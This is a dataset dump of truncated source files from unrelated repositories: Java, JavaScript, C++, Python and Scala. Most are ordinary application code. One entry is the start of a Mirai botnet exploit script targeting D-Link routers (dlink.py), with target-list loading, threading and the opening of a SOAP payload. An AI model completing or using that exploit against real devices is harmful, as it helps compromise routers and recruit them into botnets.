repo_name stringlengths 6 101 | path stringlengths 4 300 | text stringlengths 7 1.31M |
|---|---|---|
fossabot/oc | src/cli/domain/get-mocked-plugins.js | <gh_stars>0
'use strict';
const fs = require('fs-extra');
const path = require('path');
const _ = require('lodash');
const settings = require('../../resources/settings');
const strings = require('../../resources/');
const isMockValid = plugin => {
const isFunction = _.isFunction(plugin);
const isValidObject =
... |
FjutAcmer/CodingFirstApiSys | src/main/java/team/fjut/cf/service/impl/SpiderLocalizedRecordServiceImpl.java | <reponame>FjutAcmer/CodingFirstApiSys
package team.fjut.cf.service.impl;
import org.springframework.stereotype.Service;
import team.fjut.cf.mapper.SpiderLocalizedRecordMapper;
import team.fjut.cf.pojo.po.SpiderLocalizedRecord;
import team.fjut.cf.service.SpiderLocalizedRecordService;
import tk.mybatis.mapper.entity.Ex... |
BennyHallett/delve | test/game_test.rb | <gh_stars>1-10
require 'minitest'
require 'minitest/autorun'
require 'delve/game'
class GameTest < Minitest::Test
def setup
@display = mock('object')
@input = mock('object')
@screen_manager = mock('object')
@game = Game.new @display, @screen_manager, @input
end
def test_fail_if_display_is_nil
... |
christallinqq/melonhack-plus | org/spongepowered/asm/lib/util/CheckMethodAdapter.java | <filename>org/spongepowered/asm/lib/util/CheckMethodAdapter.java
package org.spongepowered.asm.lib.util;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.L... |
CanadaHealthInfoway/message-builder | chi-maven-plugin/src/test/java/ca/infoway/messagebuilder/generator/util/ClassBasedDomainTypeTest.java | /**
* Copyright 2013 Canada Health Infoway, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicab... |
Jakegogo/concurrent | concur/src-transfer/transfer/utils/TypeUtils.java | <filename>concur/src-transfer/transfer/utils/TypeUtils.java<gh_stars>10-100
/*
* Copyright 1999-2101 Alibaba Group.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.... |
EnjoyLifeFund/macHighSierra-py36-pkgs | lhc/io/gtf/iterator.py | <gh_stars>0
from collections import namedtuple
from itertools import chain
from lhc.binf.genomic_coordinate import GenomicInterval as Interval, NestedGenomicInterval as NestedInterval
from lhc.binf.genomic_coordinate.nested_genomic_interval_factory import NestedGenomicIntervalFactory
GtfLine = namedtuple('GtfLine', (... |
hummer-team/hummer-framework | hummer-simple/hummer-simple-api/src/main/java/com/hummer/api/web/ConfigController2.java | /*
* Copyright (c) 2019-2021 LiGuo <<EMAIL>>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge... |
45258E9F/IntPTI | src/org/sosy_lab/cpachecker/cpa/automaton/AutomatonExpression.java | <reponame>45258E9F/IntPTI
/*
* IntPTI: integer error fixing by proper-type inference
* Copyright (c) 2017.
*
* Open-source component:
*
* CPAchecker
* Copyright (C) 2007-2014 <NAME>
*
* Guava: Google Core Libraries for Java
* Copyright (C) 2010-2006 Google
*
*
*/
package org.sosy_lab.cpachecker.cpa.autom... |
algairim/brooklyn-server | rest/rest-resources/src/main/java/org/apache/brooklyn/rest/util/MultiSessionAttributeAdapter.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you ... |
1ucif3r/DDOS-th31ucif3r | Botnets/MIRAI SPLOITS/DLINK/dlink.py | #! python !#
import threading, sys, time, random, socket, re, os, struct, array, requests, base64, subprocess
from sys import stdout
from Threading import thread
from Queue import *
ips = open(sys.argv[1], "r").readlines()
queue = Queue()
queue_count = 0
p1 = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http:... |
mbauhardt/kubernetes-client-demo | src/main/java/io/fabric8/IngressRemovePath.java | package io.fabric8;
import io.fabric8.kubernetes.client.DefaultKubernetesClient;
import io.fabric8.kubernetes.client.KubernetesClient;
import io.fabric8.kubernetes.client.dsl.base.PatchContext;
import io.fabric8.kubernetes.client.dsl.base.PatchType;
public class IngressRemovePath {
public static void main(String[] ... |
ruedap/scss-lint | spec/scss_lint/config_spec.rb | <gh_stars>1-10
require 'spec_helper'
require 'fileutils'
describe SCSSLint::Config do
class SCSSLint::Linter::FakeConfigLinter < SCSSLint::Linter; end
module SCSSLint::Linter::SomeNamespace
class FakeLinter1 < SCSSLint::Linter; end
class FakeLinter2 < SCSSLint::Linter; end
end
let(:default_file) { Fi... |
wubbleworld/wubble-world | src/edu/isi/wubble/gamestates/VisualGameState.java | <gh_stars>0
package edu.isi.wubble.gamestates;
import java.util.concurrent.Callable;
import com.jme.bounding.BoundingBox;
import com.jme.input.FirstPersonHandler;
import com.jme.input.InputHandler;
import com.jme.input.KeyBindingManager;
import com.jme.input.KeyInput;
import com.jme.input.action.InputActionEvent;
imp... |
frmr/gs | src/gs/gsRenderer.hpp | #pragma once
#include <cstdint>
#include <SDL.h>
#include "../gl3w/gl3w.h"
#include "gsCamera.h"
#include "gsFullscreenQuad.h"
#include "gsGlobe.h"
#include "gsUserInterface.h"
namespace gs
{
class Renderer
{
private:
int width;
int height;... |
njonsson/htty | lib/htty/platform.rb | <filename>lib/htty/platform.rb<gh_stars>1000+
require 'htty'
# Provides methods for ascertaining system characteristics.
module HTTY::Platform
def self.windows?
!(RUBY_PLATFORM =~ /(mswin|mingw)/i).nil?
end
end
|
rychagova/egeria | open-metadata-implementation/user-interfaces/ui-chassis/ui-chassis-spring/src/main/java/org/odpi/openmetadata/userinterface/uichassis/springboot/auth/db/domain/User.java | <gh_stars>0
/* SPDX-License-Identifier: Apache-2.0 */
/* Copyright Contributors to the ODPi Egeria project. */
package org.odpi.openmetadata.userinterface.uichassis.springboot.auth.db.domain;
import com.fasterxml.jackson.annotation.JsonIgnore;
import org.springframework.security.core.GrantedAuthority;
import org.sprin... |
jhh67/chapel | third-party/libfabric/libfabric-src/prov/mrail/src/mrail_rma.c | /*
* Copyright (c) 2018-2019 Intel Corporation, Inc. All rights reserved.
*
* This software is available to you under a choice of one of two
* licenses. You may choose to be licensed under the terms of the GNU
* General Public License (GPL) Version 2, available from the file
* COPYING in the main directory of t... |
liccoCode/amazon-mws | src/main/java/com/elcuk/jaxb/Override.java | /* */ package com.elcuk.jaxb;
/* */
/* */ import java.util.ArrayList;
/* */ import java.util.List;
/* */ import javax.xml.bind.annotation.XmlAccessType;
/* */ import javax.xml.bind.annotation.XmlAccessorType;
/* */ import javax.xml.bind.annotation.XmlElement;
/* */ import javax.xml.bind... |
falgon/srookCppLibraries | srook/config/environment/os/linux/net/if_ether.hpp | <filename>srook/config/environment/os/linux/net/if_ether.hpp<gh_stars>1-10
// Copyright (C) 2011-2020 Roki. Distributed under the MIT License
#ifndef INCLUDED_SROOK_CONFIG_ENVIRONMENT_OS_LINUX_NET_IF_ETHER_HPP
#define INCLUDED_SROOK_CONFIG_ENVIRONMENT_OS_LINUX_NET_IF_ETHER_HPP
#ifdef __linux__
#ifndef _LINUX_IF_ETHER... |
silver-snoopy/material-ui | packages/material-ui-icons/src/BathroomRounded.js | import * as React from 'react';
import createSvgIcon from './utils/createSvgIcon';
export default createSvgIcon(
<path d="M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zM9 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1zm0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1zm3 3c-.55 0-1-... |
sanfusu/Sparse | validation/range-syntax.c |
static void ok(int a, int b, int c)
{
__range__(a, 0, 8);
__range__(a, b, c);
}
static void ko(int a, int b, int c)
{
__range__ a, 0, 8;
__range__ a, b, c;
}
/*
* check-name: range syntax
*
* check-error-start
range-syntax.c:10:19: error: Expected ( after __range__ statement
range-syntax.c:10:19: error: got a... |
lonele/api-gen | src/main/java/com/jiadao/util/TemplateUtil.java | <gh_stars>0
package com.jiadao.util;
import java.text.MessageFormat;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class TemplateUtil {
public static void main(String[] args) {
Object[] obj = ne... |
dewarim/cinnamon4 | src/main/java/com/dewarim/cinnamon/dao/OsdMetaDao.java | package com.dewarim.cinnamon.dao;
import com.dewarim.cinnamon.ErrorCode;
import com.dewarim.cinnamon.FailedRequestException;
import com.dewarim.cinnamon.application.ThreadLocalSqlSession;
import com.dewarim.cinnamon.model.Meta;
import com.dewarim.cinnamon.model.MetasetType;
import com.dewarim.cinnamon.model.request.Cr... |
ThanhZoro/tnt-project | store/modules/setting/_store/actions.js | <filename>store/modules/setting/_store/actions.js
import _ from 'lodash'
import firebase from 'firebase'
const setCategory = async (context,request) =>{
context.commit('SET_CATEGORY', { data: request ? request.data : [], total: request ? request.total : 0 });
}
const editCategory = async (context, request) => {
v... |
shybovycha/PlayRho | PlayRho/Dynamics/Joints/WheelJointConf.cpp | /*
* Original work Copyright (c) 2006-2007 <NAME> http://www.box2d.org
* Modified work Copyright (c) 2017 <NAME> https://github.com/louis-langholtz/PlayRho
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from t... |
smilebingbing/java | offer/src/com/java/offer/Convert1.java | package com.java.offer;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.Queue;
/**
public class TreeNode {
int val = 0;
TreeNode left = null;
TreeNode right = null;
public TreeNode(int val) {
this.val = val;
}
}
*/
public class Convert1 {
public TreeNode Co... |
pongasoft/kiwidoc | kiwidoc/com.pongasoft.kiwidoc.builder/src/main/java/com/pongasoft/kiwidoc/builder/bytecode/ByteCodeParser.java | <filename>kiwidoc/com.pongasoft.kiwidoc.builder/src/main/java/com/pongasoft/kiwidoc/builder/bytecode/ByteCodeParser.java<gh_stars>1-10
/*
* Copyright (c) 2012 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain... |
julien641/IRC | SocketConnection/src/clientMessage/messageAction/ServerToClient/ActionLoginResponse.java | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package clientMessage.messageAction.ServerToClient;
import Interface.client.IChatThreadController;
import clientMessage.Message;
impor... |
smn/helpdesk-docker | src/components/FaqCategory.js | import React, { Component, PropTypes } from 'react'
import { connect } from 'react-redux'
import { actions as faqActions } from '../redux/modules/faqs'
import { Faq } from './'
import { Table } from 'react-bootstrap'
const mapStateToProps = (state) => ({
categories: state.faqs.categories,
questions: state.faqs.que... |
AlhonGelios/AO | org/apache/poi/sl/usermodel/GroupShape.java | package org.apache.poi.sl.usermodel;
import java.awt.geom.Rectangle2D;
import org.apache.poi.sl.usermodel.PlaceableShape;
import org.apache.poi.sl.usermodel.Shape;
import org.apache.poi.sl.usermodel.ShapeContainer;
public interface GroupShape extends Shape, ShapeContainer, PlaceableShape {
Rectangle2D getInterior... |
rsadasiv/oop_nlp | similarity/src/main/java/com/outofprintmagazine/nlp/scorers/categorical/DocumentLength.java | <reponame>rsadasiv/oop_nlp<filename>similarity/src/main/java/com/outofprintmagazine/nlp/scorers/categorical/DocumentLength.java
package com.outofprintmagazine.nlp.scorers.categorical;
import java.util.ArrayList;
import java.util.List;
import com.outofprintmagazine.nlp.Ta;
import com.outofprintmagazine.nlp.scorers.Sco... |
Peter-Korobeynikov/Master | js/addons/discussion/discussion.js | (function(_, $) {
(function($){
function _check_status_switch(data, params)
{
if (params.obj) {
var $ = Tygh.$;
var status = (data.return_status) ? data.return_status : params.status;
var s_elm = $(params.obj).parents('.cm-statuses:first');
... |
ckamtsikis/cmssw | PhysicsTools/PatAlgos/plugins/PATJetUpdater.h | <filename>PhysicsTools/PatAlgos/plugins/PATJetUpdater.h
//
//
#ifndef PhysicsTools_PatAlgos_PATJetUpdater_h
#define PhysicsTools_PatAlgos_PATJetUpdater_h
/**
\class pat::PATJetUpdater PATJetUpdater.h "PhysicsTools/PatAlgos/interface/PATJetUpdater.h"
\brief Produces pat::Jet's
The PATJetUpdater produces ... |
GideonCrawle/unified | Plugins/Events/Events/SkillEvents.hpp | #pragma once
#include "API/Vector.hpp"
#include "Common.hpp"
#include "Services/Hooks/Hooks.hpp"
namespace Events {
class SkillEvents
{
public:
SkillEvents(NWNXLib::Services::HooksProxy* hooker);
private:
static int32_t UseSkillHook(CNWSCreature*, uint8_t, uint8_t, ObjectID, Vector,
ObjectID, Object... |
baldir-fr/slides-living-documentation | examples/code_analysis/diagram-IDE-FizzBuzzEnterpriseEdition/src/main/java/com/seriouscompany/business/java/fizzbuzz/packagenamingpackage/impl/parameters/DefaultFizzBuzzUpperLimitParameter.java | <reponame>baldir-fr/slides-living-documentation<filename>examples/code_analysis/diagram-IDE-FizzBuzzEnterpriseEdition/src/main/java/com/seriouscompany/business/java/fizzbuzz/packagenamingpackage/impl/parameters/DefaultFizzBuzzUpperLimitParameter.java
package com.seriouscompany.business.java.fizzbuzz.packagenamingpackag... |
ericosur/myqt | random_corrupt/core.cpp | <gh_stars>0
#include "core.h"
// qtlib
#include "trypath.h"
#include <nlohmann/json.hpp>
Core* Core::_instance = nullptr;
Core* Core::getInstance()
{
if (_instance == nullptr) {
_instance = new Core();
}
return _instance;
}
Core::Core()
{
}
void Core::dump()
{
qDebug() << Q_FUNC_INFO << endl... |
bd2019us/ctakes | ctakes-chunker/src/main/java/org/apache/ctakes/chunker/ae/DefaultChunkCreator.java | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"... |
activewidgets/systemjs-unpkg-config | plugins/typescript.js | <reponame>activewidgets/systemjs-unpkg-config<filename>plugins/typescript.js
define('getlibs/plugins/typescript', ['../src/worker'], function(WebWorker){
function transpiler(){
self.translate = function(address, source, options) {
/* global ts */
var result = ts.transpileModule(source, {
comp... |
yomeeinf/endless.pawsibility | backend/src/main/java/kamillobinski/sheltybackend/security/WebSecurityConfig.java | package kamillobinski.sheltybackend.security;
import kamillobinski.sheltybackend.security.jwt.AuthEntryPointJwt;
import kamillobinski.sheltybackend.security.jwt.AuthTokenFilter;
import kamillobinski.sheltybackend.security.services.UserDetailsServiceImpl;
import org.springframework.context.annotation.Bean;
import org.s... |
markiewb/plantuml4idea | src/org/plantuml/idea/action/test/SaveTestAction.java | <reponame>markiewb/plantuml4idea
package org.plantuml.idea.action.test;
import com.intellij.openapi.actionSystem.AnActionEvent;
import com.intellij.openapi.project.DumbAwareAction;
import org.jetbrains.annotations.NotNull;
import org.plantuml.idea.external.PlantUmlFacade;
import org.plantuml.idea.plantuml.ImageFormat;... |
hongwonjun/Atlas | js/services/AuthAPI.js | define(function(require, exports) {
var $ = require('jquery');
var config = require('appConfig');
var ko = require('knockout');
var cookie = require('services/CookieAPI');
var TOKEN_HEADER = 'Bearer';
var LOCAL_STORAGE_PERMISSIONS_KEY = "permissions";
const httpService = require('services/h... |
MehfoozurRehman/Aida-Pro-Website | src/Components/LanguagePanel.js | import { germany, unitedstates } from "Assets";
import React from "react";
import Img from "react-cool-img";
export default function LanguagePanel({
setLanguageSelected,
setIsLanguagePanelOpen,
}) {
return (
<div className="header__language__panel animate__animated animate__fadeIn">
<button
tit... |
r8d8/lastlock | QCA4020_SDK/target/exthost/Linux/daemon/iotd/iotdManager.c | /*
* Copyright (c) 2018 Qualcomm Technologies, Inc.
* All Rights Reserved.
*/
// Copyright (c) 2018 Qualcomm Technologies, Inc.
// All rights reserved.
// Redistribution and use in source and binary forms, with or without modification, are permitted (subject to the limitations in the disclaimer below)
// provided t... |
YiqunPeng/leetcode_pro | solutions/969_pancake_sorting.py | class Solution:
def pancakeSort(self, arr: List[int]) -> List[int]:
"""Array.
Running time: O(n) where n is the length of arr.
"""
res = []
n = len(arr)
for i in range(n, 0, -1):
pos = arr.index(i)
if pos == i - 1:
continue
... |
PinoEire/archi | com.archimatetool.commandline/src/com/archimatetool/commandline/AbstractCommandLineProvider.java | <gh_stars>100-1000
/**
* This program and the accompanying materials
* are made available under the terms of the License
* which accompanies this distribution in the file LICENSE.txt
*/
package com.archimatetool.commandline;
/**
* Abstract CommandLineProvider
*
* @author <NAME>
*/
public abstract class Abstra... |
stratumn/sdk-java | src/main/java/com/stratumn/sdk/model/trace/ParentLink.java | /*
Copyright 2017 Stratumn SAS. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to... |
TeamSPoon/CYC_JRTL_with_CommonLisp_OLD | platform/lib/all-deps/com/google/gwt/core/translatable/com/google/gwt/core/client/impl/WeakMapping.java | <gh_stars>1-10
/*
* Copyright 2009 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law... |
p-derezinski/java14 | src/main/java/pl/sdacademy/java14poz/sklep/UserUtils.java | package pl.sdacademy.java14poz.sklep;
import pl.sdacademy.java14poz.sklep.User.*;
public class UserUtils {
public static String poberzStatus(User uzytkownik) {
User.TypStatus statusUzytkownika = uzytkownik.getStatus();
StringBuilder sb = new StringBuilder();
sb.append(uzytkownik.getImie()... |
WebFreak001/THM2018 | src/com/deviotion/ld/eggine/math/Dimension2i.java | <filename>src/com/deviotion/ld/eggine/math/Dimension2i.java
package com.deviotion.ld.eggine.math;
/**
* Eggine
* A last minute game engine for Ludum Dare.
*
* @author <NAME> (TechnoCF)
*
*/
public class Dimension2i {
private int width;
private int height;
public Dimension2i(int width, int height) ... |
hwclass/courier-boilerplate | client/src/apps/header/app.js | <reponame>hwclass/courier-boilerplate<filename>client/src/apps/header/app.js
'use strict';
//creating the object wrapper for header application
App.header = App.header || Box.Application;
|
SuperMap/iClient-for-JavaScript | tests/Plotting/REST/GetSMLInfosServiceTest.js | <gh_stars>10-100
module("GetSMLInfosService");
function initGetSMLInfosService() {
return new SuperMap.REST.GetSMLInfosService(GlobeParameter.plotUrl, {
eventListeners: {
processCompleted: succeed,
processFailed: failed
}
});
function succeed(event) {
}
fun... |
petergp/XVim2 | XVim2/XcodeHeader/DVTFoundation/NSBlockOperation-DVTNSOperationAdditions.h | <gh_stars>0
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Jun 6 2019 20:12:56).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by <NAME>.
//
#import <Foundation/NSBlockOperation.h>
@interface NSBlockOperation (DVTNSOperationAdditions)
+ (id)dvt_blockOperationWithBlock:... |
huppd/PINTimpact | run/run_mode_stream.py | """ runner script to investigate mode preconditioner for Rayleigh streaming """
import os
from math import pi
import xml.etree.ElementTree as ET
import platform_paths as pp
import manipulator as ma
# load parameter file
TREE = ET.parse('../XML/parameterStreaming2D.xml')
ROOT = TREE.getroot()
# ma.set_parameter(ROOT,... |
ShadyStego/semiotic | src/docs/components/LineBrushRaw.js | import * as React from "react"
import { XYFrame } from "../../components"
import { scaleTime } from "d3-scale"
const chartScale = scaleTime()
const lineStyle = {
fill: "none",
stroke: "#007190",
strokeWidth: 1
}
const margin = { left: 40, top: 0, bottom: 50, right: 20 }
const axes = [
{ orient: "left" },
{
... |
qianfei11/zstack | plugin/virtualRouterProvider/src/main/java/org/zstack/network/service/virtualrouter/vyos/VyosVersionCheckResult.java | package org.zstack.network.service.virtualrouter.vyos;
public class VyosVersionCheckResult {
public boolean needReconnect = false;
public boolean rebuildVip = false;
public boolean isNeedReconnect() {
return needReconnect;
}
public void setNeedReconnect(boolean needReconnect) {
... |
Vadimkkka/ione | lib/vntools/main.rb | <reponame>Vadimkkka/ione
class IONe
#
# Reserves Public IP or IPs to user private netpool
#
# @param [Hash] params
# @option params [Integer] n - number of addresses to reserve
# @option params [Integer] u - user id
#
# @return [Integer]
#
def reserve_public_ip params
params.to_sym!
vnet = ... |
roboterclubaachen/xpcc | src/xpcc/architecture/interface/test/can_message_test.hpp | <filename>src/xpcc/architecture/interface/test/can_message_test.hpp
// coding: utf-8
/* Copyright (c) 2016, <NAME>. V.
* All Rights Reserved.
*
* The file is part of the xpcc library and is released under the 3-clause BSD
* license. See the file `LICENSE` for the full license governing this code.
*/
// -----------... |
heroku/shh | cmd/shh-value/main.go | <gh_stars>10-100
package main
import (
"flag"
"fmt"
"net"
"os"
"regexp"
"strconv"
"strings"
"time"
"github.com/heroku/shh"
)
var (
versionFlag = flag.Bool("version", false, "Display version info and exit")
measurementType = flag.String("t", "g", "Measurement type gauge(g) or counter(c)")
shhAddr ... |
bonedaddy/go-i2p | lib/crypto/hmac_test.go | <reponame>bonedaddy/go-i2p<filename>lib/crypto/hmac_test.go
package crypto
import (
"bytes"
"encoding/base64"
"testing"
)
// XXX: IMPLEMENT THIS
func Test_I2PHMAC(t *testing.T) {
data := make([]byte, 64)
for idx, _ := range data {
data[idx] = 1
}
var k HMACKey
for idx, _ := range k[:] {
k[idx] = 1
}
d :... |
TForce1/pcg_gazebo | pcg_gazebo/generators/constraints/workspace_constraint.py | <gh_stars>10-100
# Copyright (c) 2019 - The Procedural Generation for Gazebo authors
# For information on the respective copyright owner see the NOTICE file
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of t... |
gfycat/gfycat-android-sdk | gfycat-core/src/main/java/com/gfycat/core/downloading/FeedData.java | <filename>gfycat-core/src/main/java/com/gfycat/core/downloading/FeedData.java
/*
* Copyright (c) 2015-present, Gfycat, Inc. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the Lice... |
schatten4810/erflute | src/org/dbflute/erflute/editor/controller/command/common/NothingToDoCommand.java | <filename>src/org/dbflute/erflute/editor/controller/command/common/NothingToDoCommand.java
package org.dbflute.erflute.editor.controller.command.common;
import org.dbflute.erflute.editor.controller.command.AbstractCommand;
public class NothingToDoCommand extends AbstractCommand {
public NothingToDoCommand() {
... |
uk-gov-mirror/hmrc.ated-subscription-frontend | test/services/ContactDetailsServiceSpec.scala | /*
* Copyright 2021 HM Revenue & Customs
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or a... |
yuxijian/WxJava | weixin-java-mp/src/test/java/me/chanjar/weixin/mp/bean/message/WxMpXmlMessageTest.java | <filename>weixin-java-mp/src/test/java/me/chanjar/weixin/mp/bean/message/WxMpXmlMessageTest.java
package me.chanjar.weixin.mp.bean.message;
import me.chanjar.weixin.common.api.WxConsts;
import org.testng.annotations.Test;
import java.util.List;
import java.util.Map;
import static org.assertj.core.api.Assertions.asse... |
egovernment/eregistrations-starter | node_modules/dbjs-ext/string/string-line/password.js | 'use strict';
var memoize = require('memoizee/plain')
, defineStringLine = require('../string-line');
module.exports = memoize(function (db) {
return defineStringLine(db).extend('Password', { pattern: { value:
new RegExp('^[\\u0009 -\\u2027\\u2030-\\uffff]*(?=[\\u0009 -\\u2027' +
'\\u2030-\\uffff]*\\... |
tuvshinot/Cpp | errorHandle/MPGFunctionExceptionInheritance/main.cpp | <gh_stars>0
// Section 18
// Miles per Gallon - Function - Exception Classes - Inheritance
#include <iostream>
class DivideByZeroException : public std::runtime_error {
public:
DivideByZeroException() : std::runtime_error {"Cannot divide by zero"}
{}
};
class NegativeValueException : public std::runtime_error... |
fossabot/xtp | include/votca/xtp/gnode.h | <filename>include/votca/xtp/gnode.h
/*
* Copyright 2009-2020 The VOTCA Development Team (http://www.votca.org)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache... |
sakshi87/cognite-sdk-python | cognite/client/utils/_client_config.py | <gh_stars>0
import os
import pprint
import sys
from typing import *
from cognite.client import utils
from cognite.client._version import __api_subversion__
from cognite.client.exceptions import CogniteAPIKeyError
_DEFAULT_API_SUBVERSION = __api_subversion__
class _ThreadLocalConfig:
def __init__(self):
... |
fkmt-disk/scala.sqlib | test/scala/test/entity/M_Address.scala | <filename>test/scala/test/entity/M_Address.scala
package test.entity
/**
* M_Address.
*
* @since 2013-03-17 19:29:31
*/
object M_Address extends sqlib.core.Table {
type T = M_Address.Row
import java.sql.Types._
import sqlib.core._
import column._
private[this] val _row_id = new IntColumn[T]("ro... |
ZLW07/RobWork | RobWorkSim/example/bootstrap/src/bstrap/core/Abstraction.hpp | <filename>RobWorkSim/example/bootstrap/src/bstrap/core/Abstraction.hpp
#ifndef ABSTRACTION_HPP_
#define ABSTRACTION_HPP_
#include <rw/core/Ptr.hpp>
class BrainState;
class Memory;
/**
* @brief something that computes abstract knowledge and puts this into the state
*/
class Abstraction {
public:
typedef rw::c... |
958328814/dreamdota | DreamWarcraft/ToolTip.h | #ifndef TOOLTIP_H_
#define TOOLTIP_H_
#include "UISimpleFrame.h"
#include "UISimpleFontString.h"
class Button;
class ToolTip {
public:
static ToolTip *Create(
UISimpleFrame *parent,
float width,
float height,
const char *formattedContent,
bool dontStore = false
);
static void Destroy(ToolTip *tooltip);
... |
fengyiyi/fontello | lib/runner/application.js | // Base structure of (sub-)application. Holds root, name and version of ana
// application. In future will also hold init() function that wil be called
// upon runner's applications init stage.
"use strict";
// stdlib
var path = require("path");
var prop = Object.defineProperty;
//////////////////////////////////... |
divyang4481/quickfast | src/Codecs/FieldOpNop.h | <filename>src/Codecs/FieldOpNop.h
// Copyright (c) 2009, Object Computing, Inc.
// All rights reserved.
// See the file license.txt for licensing information.
#ifdef _MSC_VER
# pragma once
#endif
#ifndef FIELDOPNOP_H
#define FIELDOPNOP_H
#include <Codecs/FieldOp.h>
namespace QuickFAST{
namespace Codecs{
/// @brie... |
QIB-Sheffield/WEASEL | create_weasel_manual.py | <filename>create_weasel_manual.py
import os, shutil
from sys import platform
import venv
def CopyTree(src, dst, symlinks=False, ignore=None):
if not os.path.exists(dst):
os.makedirs(dst)
for item in os.listdir(src):
s = os.path.join(src, item)
d = os.path.join(dst, item)
if os.p... |
frc5024/MiniBot | docs/html/namespacefrc_1_1common_1_1loopables.js | var namespacefrc_1_1common_1_1loopables =
[
[ "LoopableSubsystem", "classfrc_1_1common_1_1loopables_1_1LoopableSubsystem.html", "classfrc_1_1common_1_1loopables_1_1LoopableSubsystem" ]
]; |
canusluel/NeedforSpear | src/main/java/tr/edu/ku/devnull/needforspear/View/PlayViews/SwitchModeSubscriber.java | <filename>src/main/java/tr/edu/ku/devnull/needforspear/View/PlayViews/SwitchModeSubscriber.java<gh_stars>0
package tr.edu.ku.devnull.needforspear.View.PlayViews;
/**
* Observer pattern on Switch to Running Mode button
* where the subscriber is the GamePanel to animate obstacles
* and sphere depending on if the game... |
zakharchenkoAndrii/expo | apps/bare-expo/metro.config.js | const { createMetroConfiguration } = require('expo-yarn-workspaces');
const baseConfig = createMetroConfiguration(__dirname);
module.exports = {
...baseConfig,
// NOTE(brentvatne): This can be removed when
// https://github.com/facebook/metro/issues/290 is fixed.
server: {
enhanceMiddleware: middleware =... |
SunStriderxxx/my-java-algorithms | algorithms/leetcode/Problem124.java | <filename>algorithms/leetcode/Problem124.java<gh_stars>1-10
package leetcode;
/**
* @author Fcb
* @date 2020/6/21
* @description 二叉树中的最大路径和
* 给定一个非空二叉树,返回其最大路径和。
*
* 本题中,路径被定义为一条从树中任意节点出发,达到任意节点的序列。该路径至少包含一个节点,且不一定经过根节点。
*
* 示例 1:
*
* 输入: [1,2,3]
*
* 1
* / \
* 2 3
*
* 输出: 6
* 示例 2:... |
RuntimeConverter/PHPUnit-Java-Converted | phpunit-converted/src/main/java/com/project/convertedCode/globalNamespace/namespaces/SebastianBergmann/namespaces/Diff/classes/TimeEfficientLongestCommonSubsequenceCalculator.java | package com.project.convertedCode.globalNamespace.namespaces.SebastianBergmann.namespaces.Diff.classes;
import com.runtimeconverter.runtime.passByReference.PassByReferenceArgs;
import com.runtimeconverter.runtime.classes.StaticBaseClass;
import com.project.convertedCode.globalNamespace.namespaces.SebastianBergmann.nam... |
JavaSummer/JavaMainRepo | Students/Kovacs Gellert/Assignment6+7/Zoowsome/src/javasmmr/zoowsome/models/interfaces/ZooFrame_I.java | package javasmmr.zoowsome.models.interfaces;
public interface ZooFrame_I {
public void goBack();
}
|
rapyuta-robotics/alica-plan-designer-fx | alica-plan-designer-fx-modelmanagement/src/main/java/de/unikassel/vs/alica/planDesigner/modelMixIns/StateMixIn.java | <reponame>rapyuta-robotics/alica-plan-designer-fx
package de.unikassel.vs.alica.planDesigner.modelMixIns;
import com.fasterxml.jackson.annotation.JsonAlias;
import com.fasterxml.jackson.annotation.JsonSubTypes;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.annotation.JsonD... |
sabob/springboot-angular-starter | backend/src/main/java/my/sample/config/proxy/interceptor/hateoas/HateoasStripperInterceptorConfigurer.java | package my.sample.config.proxy.interceptor.hateoas;
import com.github.mkopylec.charon.forwarding.interceptors.RequestForwardingInterceptorConfigurer;
public class HateoasStripperInterceptorConfigurer extends RequestForwardingInterceptorConfigurer<HateoasStripperInterceptor> {
